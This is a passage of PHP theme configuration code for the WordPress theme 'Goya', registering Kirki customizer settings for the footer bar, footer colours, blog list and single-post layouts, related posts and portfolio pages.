    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'footer_middle_content', 'label' => esc_html__( 'Content', 'goya' ), 'description' => esc_html__( 'You can use shortcodes like Mailchimp sign up shortcode.', 'goya' ), 'transport' => 'postMessage', 'section' => 'footer_extra', 'priority' => 10, 'default' => '', 'required' => array( array( 'setting' => 'footer_middle', 'operator' => '==', 'value' => true, ), ), 'partial_refresh' => array( 'footer_middle_content' => array( 'selector' => '.footer-middle > div > div > .col-12', 'render_callback' => function() { echo do_shortcode( get_theme_mod( 'footer_middle_content','' ) ); }, ), ), )); /* Footer Bottom */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'footer_bar_full_width', 'label' => esc_html__( 'Full-width Footer Bar', 'goya' ), 'transport' => 'postMessage', 'section' => 'footer_bottom', 'default' => true, 'priority' => 10, 'js_vars' => array( array( 'element' => '.footer-bar', 'function' => 'toggleClass', 'class' => 'footer-full', 'value' => true, ), array( 'element' => '.footer-bar', 'function' => 'toggleClass', 'class' => 'footer-normal', 'value' => false, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'footer_bottom', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'footer_bar_border', 'label' => esc_html__( 'Footer Bar Top Border', 'goya' ), 'transport' => 'postMessage', 'section' => 'footer_bottom', 'default' => false, 'priority' => 11, 'js_vars' => array( array( 'element' => '.footer-bar', 'function' => 'toggleClass', 'class' => 'footer-bar-border-1', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'footer_bottom', 'default' => '

    ' . esc_html__( 'Columns', 'goya' ) . '

    ', 'priority' => 12, )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'footer_main_left', 'label' => esc_html__( 'Left Section', 'goya' ), 'section' => 'footer_bottom', 'transport' => 'postMessage', 'default' => array( array( 'item' => 'copyright' ) ), 'priority' => 13, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_footer_elements_list(), ), ), 'partial_refresh' => array( 'footer_main_left' => array( 'selector' => '.footer-main', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/footer/footer', 'bar' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'footer_main_center', 'label' => esc_html__( 'Center Section', 'goya' ), 'section' => 'footer_bottom', 'transport' => 'postMessage', 'default' => array(), 'priority' => 14, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_footer_elements_list(), ), ), 'partial_refresh' => array( 'footer_main_center' => array( 'selector' => '.footer-main', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/footer/footer', 'bar' ); }, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'repeater', 'settings' => 'footer_main_right', 'label' => esc_html__( 'Right Section', 'goya' ), 'section' => 'footer_bottom', 'transport' => 'postMessage', 'default' => array(), 'priority' => 15, 'row_label' => array( 'type' => 'field', 'value' => esc_attr__( 'Element', 'goya' ), 'field' => 'item', ), 'fields' => array( 'item' => array( 'type' => 'select', 'choices' => goya_footer_elements_list(), ), ), 'partial_refresh' => array( 'footer_main_right' => array( 'selector' => '.footer-main', 'container_inclusive' => true, 'render_callback' => function() { get_template_part( 'inc/templates/footer/footer', 'bar' ); }, ), ), )); /* Footer Text */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'footer_bottom', 'default' => '

    ' . esc_html__( 'Text Fields', 'goya' ) . '

    ', 'priority' => 16, )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'footer_bar_copyright', 'label' => esc_html__( 'Copyright', 'goya' ), 'description' => sprintf( '%s [current_year]', esc_html__( 'To automatically update the year use the shortcode ', 'goya' ) ), 'section' => 'footer_bottom', 'priority' => 17, 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'footer_bar_custom_text', 'label' => esc_html__( 'Custom Text 1', 'goya' ), 'section' => 'footer_bottom', 'priority' => 18, 'default' => '', )); Kirki::add_field( 'goya_config', array( 'type' => 'editor', 'settings' => 'footer_bar_custom_text2', 'label' => esc_html__( 'Custom Text 2', 'goya' ), 'section' => 'footer_bottom', 'priority' => 19, 'default' => '', )); /* Footer Widgets Styles */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'footer_widgets_mode', 'label' => esc_html__( 'Footer Color Scheme', 'goya' ), 'description' => esc_html__( 'These styles are inherited to footer middle and bottom bar', 'goya' ), 'transport' => 'postMessage', 'section' => 'footer_colors', 'transport' => 'postMessage', 'default' => 'light', 'priority' => 10, 'choices' => array( 'light' => esc_attr__('Light', 'goya'), 'dark' => esc_attr__('Dark', 'goya'), ), 'js_vars' => array( array( 'element' => '.site-footer', 'function' => 'toggleClass', 'class' => 'dark', 'value' => 'dark', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'footer_widgets_background', 'label' => esc_html__( 'Footer Background', 'goya' ), 'transport' => 'auto', 'section' => 'footer_colors', 'default' => '#ffffff', 'priority' => 10, 'output' => array( array( 'element' => array('.site-footer','.site-footer.dark'), 'property' => 'background-color', ), ), )); /* Footer Bar Styles */ Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'footer_colors', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'footer_bar_custom', 'label' => esc_html__( 'Footer Bar Colors', 'goya' ), 'description' => esc_html__( 'Custom colors for the bottom bar', 'goya' ), 'section' => 'footer_colors', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'footer_bar_mode', 'label' => esc_html__( 'Footer Bar Scheme', 'goya' ), 'transport' => 'postMessage', 'section' => 'footer_colors', 'default' => 'light', 'priority' => 10, 'choices' => array( 'light' => esc_attr__('Light', 'goya'), 'dark' => esc_attr__('Dark', 'goya'), ), 'required' => array( array( 'setting' => 'footer_bar_custom', 'operator' => '==', 'value' => true, ), ), 'js_vars' => array( array( 'element' => '.footer-bar', 'function' => 'toggleClass', 'class' => 'dark', 'value' => 'dark', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'footer_bar_background', 'label' => esc_html__( 'Footer bar background', 'goya' ), 'transport' => 'auto', 'section' => 'footer_colors', 'default' => '#ffffff', 'priority' => 10, 'required' => array( array( 'setting' => 'footer_bar_custom', 'operator' => '==', 'value' => true, ), ), 'output' => array( array( 'element' => array('.site-footer .footer-bar.custom-color-1','.site-footer .footer-bar.custom-color-1.dark'), 'property' => 'background-color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'footer_bar_social_icons_color', 'label' => esc_html__( 'Footer Bar Social Icons', 'goya' ), 'transport' => 'auto', 'section' => 'footer_colors', 'default' => '#000000', 'priority' => 10, 'required' => array( array( 'setting' => 'footer_bar_custom', 'operator' => '==', 'value' => true, ), ), 'output' => array( array( 'element' => array('.footer-bar.custom-color-1 .social-icons a'), 'property' => 'color', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'footer_toggle_widgets', 'label' => esc_html__( 'Collapse Widgets on Mobiles', 'goya' ), 'section' => 'footer_mobile', 'default' => false, 'priority' => 10, )); /** * BLOG */ /* Blog Main */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'blog_style', 'label' => esc_html__( 'Blog Layout', 'goya' ), 'section' => 'blog_list', 'default' => 'classic', 'priority' => 10, 'choices' => array( 'classic' => get_template_directory_uri() . '/assets/img/admin/options/blog-classic.png', 'masonry' => get_template_directory_uri() . '/assets/img/admin/options/blog-masonry.png', 'grid' => get_template_directory_uri() . '/assets/img/admin/options/blog-grid.png', 'cards' => get_template_directory_uri() . '/assets/img/admin/options/blog-cards.png', 'list' => get_template_directory_uri() . '/assets/img/admin/options/blog-list.png', ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'blog_style', 'operator' => 'contains', 'value' => array('masonry', 'grid'), ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'blog_grid_columns', 'label' => esc_html__( 'Columns in masonry/grid layout', 'goya' ), 'section' => 'blog_list', 'default' => 3, 'priority' => 10, 'choices' => array ( 'min' => 2, 'max' => 4, 'step' => 1 ), 'required' => array( array( 'setting' => 'blog_style', 'operator' => 'contains', 'value' => array('masonry', 'grid'), ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'blog_style', 'operator' => '==', 'value' => 'classic', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_title_overlay', 'label' => esc_html__( 'Title Overlay', 'goya' ), 'description' => esc_html__( 'Only in Classic style', 'goya' ), 'section' => 'blog_list', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'blog_style', 'operator' => '==', 'value' => 'classic', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'blog_list_animation', 'label' => esc_html__( 'Load animation', 'goya' ), 'label' => esc_html__( 'Animation to load the posts', 'goya' ), 'section' => 'blog_list', 'default' => 'animation bottom-to-top', 'priority' => 10, 'choices' => $goya_animations_list, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '

    ' . esc_html__( 'Hero Title', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_hero_title', 'label' => esc_html__( 'Post Hero Title', 'goya' ), 'description' => esc_html__( 'For main blog, archives and single posts', 'goya' ), 'section' => 'blog_list', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'blog_hero_title', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_transparent_header', 'label' => esc_html__( 'Transparent header', 'goya' ), 'description' => esc_html__( 'For blog archives if hero title is active', 'goya' ), 'section' => 'blog_list', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'blog_hero_title', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'blog_hero_title', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'blog_menu_color', 'label' => esc_html__( 'Header/Description color mode', 'goya' ), 'section' => 'blog_list', 'default' => 'dark-title', 'priority' => 10, 'choices' => array( 'dark-title' => esc_attr__('Dark Text', 'goya'), 'light-title' => esc_attr__('Light Text', 'goya'), ), 'required' => array( array( 'setting' => 'blog_hero_title', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'color', 'settings' => 'blog_hero_title_bg', 'label' => esc_html__( 'Default Header Background Color', 'goya' ), 'description' => esc_html__( 'You can choose header color scheme on each post', 'goya' ), 'section' => 'blog_list', 'default' => '#f8f8f8', 'priority' => 10, 'required' => array( array( 'setting' => 'blog_hero_title', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'blog_hero_title', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'image', 'settings' => 'blog_header_bg_image', 'label' => esc_html__( 'Blog home image Background', 'goya' ), 'description' => esc_html__( 'This image is only for the Main Blog page', 'goya' ), 'section' => 'blog_list', 'priority' => 10, 'default' => '', 'required' => array( array( 'setting' => 'blog_hero_title', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_sidebar', 'label' => esc_html__( 'Blog Sidebar', 'goya' ), 'section' => 'blog_list', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'blog_sidebar_position', 'label' => esc_html__( 'Blog Sidebar Position', 'goya' ), 'section' => 'blog_list', 'default' => 'right', 'priority' => 10, 'choices' => array( 'right' => esc_html__('Right', 'goya'), 'left' => esc_html__('Left', 'goya') ), 'required' => array( array( 'setting' => 'blog_sidebar', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '

    ' . esc_html__( 'Blog List Elements', 'goya' ) . '

    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_category', 'label' => esc_html__( 'Show Post Category', 'goya' ), 'section' => 'blog_list', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_author', 'label' => esc_html__( 'Show Author', 'goya' ), 'section' => 'blog_list', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_date', 'label' => esc_html__( 'Show Date', 'goya' ), 'section' => 'blog_list', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_list', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'blog_pagination_style', 'label' => esc_html__( 'Blog Pagination', 'goya' ), 'section' => 'blog_list', 'default' => 'button', 'priority' => 10, 'choices' => array( 'regular' => esc_attr__('Regular', 'goya'), 'button' => esc_attr__('Load More', 'goya'), 'scroll' => esc_attr__('Infinite', 'goya'), ), )); /* Blog Categories */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_categories', 'label' => esc_html__( 'Blog Category Menu', 'goya' ), 'section' => 'blog_categories', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_categories', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'blog_categories_hide_empty', 'label' => esc_html__( 'Hide Empty Categories', 'goya' ), 'section' => 'blog_categories', 'default' => true, 'priority' => 10, 'required' => array( array( 'setting' => 'blog_categories', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_categories', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'blog_categories_orderby', 'label' => esc_html__( 'Category Menu Order', 'goya' ), 'section' => 'blog_categories', 'default' => 'name', 'priority' => 10, 'choices' => array( 'id' => esc_attr__('ID', 'goya'), 'name' => esc_attr__('Name', 'goya'), 'slug' => esc_attr__('Slug', 'goya'), 'count' => esc_attr__('Count', 'goya'), 'term_group' => esc_attr__('Term Group', 'goya'), ), 'required' => array( array( 'setting' => 'blog_categories', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_categories', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'blog_categories_order', 'label' => esc_html__( 'Order Direction', 'goya' ), 'section' => 'blog_categories', 'default' => 'asc', 'priority' => 10, 'choices' => array( 'asc' => esc_attr__('Ascending', 'goya'), 'desc' => esc_attr__('Descending', 'goya'), ), 'required' => array( array( 'setting' => 'blog_categories', 'operator' => '==', 'value' => true, ), ), )); /* Blog Single */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'post_featured_image', 'label' => esc_html__( 'Featured Media Position', 'goya' ), 'description' => esc_html__( 'Display featured image, gallery or video if present: 1.Header Background, 2.Below title, 3.No Featured', 'goya' ), 'section' => 'blog_single', 'default' => 'below', 'priority' => 10, 'choices' => array( 'parallax' => get_template_directory_uri() . '/assets/img/admin/options/post-parallax.png', 'below' => get_template_directory_uri() . '/assets/img/admin/options/post-below.png', 'regular' => get_template_directory_uri() . '/assets/img/admin/options/post-regular.png', ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_single', 'default' => '
    ', 'priority' => 10, 'required' => array( array( 'setting' => 'post_featured_image', 'operator' => '==', 'value' => 'parallax', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'post_transparent_header', 'label' => esc_html__( 'Post Transparent Header', 'goya' ), 'description' => esc_html__( 'Used with Background Featured Media', 'goya' ), 'section' => 'blog_single', 'default' => false, 'priority' => 10, 'required' => array( array( 'setting' => 'post_featured_image', 'operator' => '==', 'value' => 'parallax', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'post_sidebar', 'label' => esc_html__( 'Single Post Sidebar', 'goya' ), 'section' => 'blog_single', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'post_sidebar_position', 'label' => esc_html__( 'Single Post Sidebar Position', 'goya' ), 'section' => 'blog_single', 'default' => 'right', 'priority' => 10, 'choices' => array( 'right' => esc_html__('Right', 'goya'), 'left' => esc_html__('Left', 'goya') ), 'required' => array( array( 'setting' => 'post_sidebar', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'post_author', 'label' => esc_html__( 'Author Details', 'goya' ), 'description' => esc_html__( 'Displays author information at the bottom, only if author description exists', 'goya' ), 'section' => 'blog_single', 'default' => false, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'post_meta_bar', 'label' => esc_html__( 'Post Categories/Tags', 'goya' ), 'section' => 'blog_single', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'post_navigation', 'label' => esc_html__( 'Previous/Next Posts Links', 'goya' ), 'section' => 'blog_single', 'priority' => 10, 'choices' => array( '' => esc_attr__( 'Disable', 'goya' ), 'simple' => esc_attr__( 'Simple', 'goya' ), 'image' => esc_attr__( 'Background Image', 'goya' ), ), 'required' => array( array( 'setting' => 'single_post_related', 'operator' => '==', 'value' => true, ), ), 'default' => 'simple', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'post_footer', 'label' => esc_html__( 'Show Footer on Single Posts', 'goya' ), 'section' => 'blog_single', 'default' => true, 'priority' => 10, )); /* Blog Related */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'single_post_related', 'label' => esc_html__( 'Related Posts', 'goya' ), 'section' => 'blog_related', 'default' => true, 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_related', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'single_post_related_per_page', 'label' => esc_html__( 'Number of Related Posts', 'goya' ), 'section' => 'blog_related', 'default' => 3, 'priority' => 10, 'choices' => array ( 'min' => 2, 'max' => 6, 'step' => 1 ), 'required' => array( array( 'setting' => 'single_post_related', 'operator' => '==', 'value' => true, ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'blog_related', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'slider', 'settings' => 'single_post_related_columns', 'label' => esc_html__( 'Related Posts Columns', 'goya' ), 'section' => 'blog_related', 'default' => 3, 'priority' => 10, 'choices' => array ( 'min' => 2, 'max' => 4, 'step' => 1 ), 'required' => array( array( 'setting' => 'single_post_related', 'operator' => '==', 'value' => true, ), ), )); /** * PORTFOLIO */ if ( ! apply_filters('goya_disable_portfolio', false) == true ) { /* Portfolio Home */ Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'portfolio_post_type', 'label' => esc_html__( 'Enable Portfolio', 'goya' ), 'description' => esc_html__( 'Activate portfolio post type', 'goya' ), 'section' => 'portfolio_main', 'default' => 'true', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_main', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'portfolio_main_page', 'label' => esc_html__( 'Portfolio Main Page', 'goya' ), 'description' => esc_html__('*With the "shortcode" you can insert the Portfolio anywhere using the Page Builder.', 'goya'), 'section' => 'portfolio_main', 'default' => 'automatic', 'priority' => 10, 'choices' => array( 'automatic' => esc_attr__('Automatic', 'goya'), 'custom' => esc_attr__('Static Page', 'goya'), 'shortcode' => esc_attr__('Use Shortcode*', 'goya'), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'dropdown-pages', 'settings' => 'portfolio_page_custom', 'label' => esc_html__( 'Portfolio Page', 'goya' ), 'description' => esc_html__( 'Select your portfolio page. Best if the slug is the same as the permalink.', 'goya' ), 'section' => 'portfolio_main', 'priority' => 10, 'default' => '', 'required' => array( array( 'setting' => 'portfolio_main_page', 'operator' => '==', 'value' => 'custom', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_main', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'text', 'settings' => 'portfolio_permalink', 'label' => esc_html__( 'Permalink', 'goya' ), 'description' => sprintf( '%s
    %s', esc_html__( 'Slug used for the portfolio permalinks. Default is "portfolio".', 'goya' ), esc_html__( 'Re-save "Settings > Permalinks" page after changing.', 'goya' ) ), 'section' => 'portfolio_main', 'default' => 'portfolio', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_main', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'portfolio_layout_main', 'label' => esc_html__( 'Portfolio Layout', 'goya' ), 'section' => 'portfolio_main', 'priority' => 10, 'choices' => array( 'masonry' => esc_attr__( 'Masonry', 'goya' ), 'grid' => esc_attr__( 'Grid', 'goya' ), 'list' => esc_attr__( 'List', 'goya' ), ), 'choices' => array( 'masonry' => get_template_directory_uri() . '/assets/img/admin/options/portfolio-masonry.png', 'grid' => get_template_directory_uri() . '/assets/img/admin/options/portfolio-grid.png', 'list' => get_template_directory_uri() . '/assets/img/admin/options/portfolio-list.png', ), 'default' => 'masonry', )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'portfolio_columns', 'label' => esc_html__( 'Number of columns', 'goya' ), 'section' => 'portfolio_main', 'priority' => 10, 'choices' => array( '6' => esc_attr( '6 Columns', 'goya' ), '4' => esc_attr( '4 Columns', 'goya' ), '3' => esc_attr( '3 Columns', 'goya' ), '2' => esc_attr( '2 Columns', 'goya' ), ), 'default' => '4', 'required' => array( array( 'setting' => 'portfolio_layout_main', 'operator' => '==', 'value' => 'grid', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'portfolio_item_margin', 'label' => esc_html__( 'Margins between items', 'goya' ), 'section' => 'portfolio_main', 'priority' => 10, 'choices' => array( 'regular-padding' => esc_attr( 'Regular', 'goya' ), 'no-padding' => esc_attr( 'No Margins', 'goya' ), ), 'default' => 'regular-padding', 'required' => array( array( 'setting' => 'portfolio_layout_main', 'operator' => '!=', 'value' => 'list', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'portfolio_list_alternate', 'label' => esc_html__( 'Alternate Columns', 'goya' ), 'description' => esc_html__( 'Alternate image/text columns in List view', 'goya' ), 'section' => 'portfolio_main', 'default' => 'true', 'priority' => 10, 'required' => array( array( 'setting' => 'portfolio_layout_main', 'operator' => '==', 'value' => 'list', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_main', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio', 'settings' => 'portfolio_item_style', 'label' => esc_html__( 'Item Style', 'goya' ), 'description' => esc_html__( 'The style for posts in the main portfolio page', 'goya' ), 'section' => 'portfolio_main', 'priority' => 10, 'choices' => array( 'regular' => esc_attr__( 'Regular', 'goya' ), 'overlay' => esc_attr__( 'Overlay', 'goya' ), 'hover-card' => esc_attr__( 'Hover Card', 'goya' ), ), 'default' => 'regular', 'required' => array( array( 'setting' => 'portfolio_layout_main', 'operator' => '!=', 'value' => 'list', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'select', 'settings' => 'portfolio_animation', 'label' => esc_html__( 'Item animation', 'goya' ), 'section' => 'portfolio_main', 'default' => 'animation bottom-to-top', 'priority' => 10, 'choices' => $goya_animations_list, 'required' => array( array( 'setting' => 'portfolio_layout_main', 'operator' => '!=', 'value' => 'list', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_main', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'toggle', 'settings' => 'portfolio_categories_nav', 'label' => esc_html__( 'Categories Navigation', 'goya' ), 'description' => esc_html__( 'List of portfolio categories on top', 'goya' ), 'section' => 'portfolio_main', 'default' => 'true', 'priority' => 10, )); /* Single Portfolio */ Kirki::add_field( 'goya_config', array( 'type' => 'radio-image', 'settings' => 'portfolio_title_style', 'label' => esc_html__( 'Single Item Style', 'goya' ), 'description' => esc_html__( '1. Regular, 2. Featured Image Background, 3. Hero Title', 'goya' ), 'section' => 'portfolio_single', 'priority' => 10, 'choices' => array( 'regular' => get_template_directory_uri() . '/assets/img/admin/options/portfolio-single-regular.png', 'parallax' => get_template_directory_uri() . '/assets/img/admin/options/portfolio-single-parallax.png', 'hero' => get_template_directory_uri() . '/assets/img/admin/options/portfolio-single-hero.png', ), 'default' => 'parallax', )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_single', 'default' => '
    ', 'priority' => 10, )); Kirki::add_field( 'goya_config', array( 'type' => 'radio-buttonset', 'settings' => 'portfolio_header_style', 'label' => esc_html__( 'Header Color mode', 'goya' ), 'section' => 'portfolio_single', 'default' => 'dark-title', 'priority' => 10, 'choices' => array( 'dark-title' => esc_attr__('Dark Text', 'goya'), 'light-title' => esc_attr__('Light Text', 'goya'), ), 'required' => array( array( 'setting' => 'portfolio_title_style', 'operator' => '!=', 'value' => 'regular', ), ), )); Kirki::add_field( 'goya_config', array( 'type' => 'custom', 'settings' => 'separator_' . $sep++, 'section' => 'portfolio_single', 'default' => '
